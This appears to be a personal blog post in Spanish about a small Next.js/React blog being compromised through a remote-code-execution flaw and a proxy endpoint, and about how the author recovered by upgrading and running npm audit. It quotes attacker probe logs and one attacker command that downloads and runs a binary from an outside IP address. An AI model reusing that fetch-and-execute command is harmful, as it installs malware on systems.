La primera vez que me encontré con este problema de seguridad fue la madrugada del 5 de diciembre.
Que en React era posible ejecutar código de forma remota sin autenticación.
Vi esa noticia y se la conté a otras personas, pero pensé que yo estaría a salvo y lo dejé pasar sin más.

1. Descubrimiento de rastros de hacking
Pero cuando entré para actualizar el código del blog, vi en el terminal rastros de que se habían ejecutado ciertos comandos.
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
status: 127,
signal: null,
output: [Array],
pid: 66631,
stdout: <Buffer >,
stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
digest: '3337667987'
}
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not foundAl depurar ese código, vi que intentaba descargar un archivo malicioso con un comando curl y ejecutarlo.
Detecté la vulnerabilidad del API y cerré todos esos endpoints.
curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gundLa vulnerabilidad estaba en el servidor proxy interno, y el método consistía en insertar simultáneamente una imagen y un script para ejecutar comandos.
Cerré ese API de proxy y aprendí por experiencia que jamás se debe exponer un API al exterior a la ligera.
// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
try {
const { searchParams } = new URL(req.url)
const target = searchParams.get('url')
if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })
const u = new URL(target)
if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })
const res = await fetch(u, {
headers: { 'User-Agent': UA },
redirect: 'follow',
cache: 'no-store',
})
if (!res.ok || !res.body) {
return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
}
...
2. Ataque React2Shell
Después de eso, por más que reforzara las vulnerabilidades, los ataques de hacking seguían llegando.
Una vez apareció este log en el terminal.
[MemShell] Loaded successfully (ESM compatible + stealth UA)Era un log que nunca había visto, así que le pregunté a una IA y me dijo que era un memory shell que los hackers utilizan mucho para sus ataques.
Probé a reiniciar Node.js, borrar todos los paquetes de npm y reinstalarlos, y también reiniciar el servidor.
Pero los ataques llegaban sin parar, y mientras pensaba qué hacer, de pronto caí en la cuenta de que no había actualizado Next ni React.
Comprobé las vulnerabilidades con npm y las corregí.
npm audit
npm audit fixDespués de eso, incluso manteniendo el servidor en funcionamiento, ya no volvieron a aparecer logs extraños en el terminal.
3. Lo que sentí
No sé qué se supone que hay que ver en este blog, que gestiono yo solo y al que no entran ni 50 personas al día, para que sigan entrando así.
Por supuesto, será que los scan bots detectan vulnerabilidades y atacan continuamente, pero resulta bastante molesto.
Y me di cuenta de que, cuando hay una vulnerabilidad, es crucial reaccionar de inmediato.
Actualizar Next de la versión 15 a la 16 trajo consigo algunas cosas que había que ajustar y fue un incordio, pero la seguridad era mucho más importante que eso.
A partir de ahora tendré que pasarme a menudo por GeekNews.
댓글을 불러오는 중...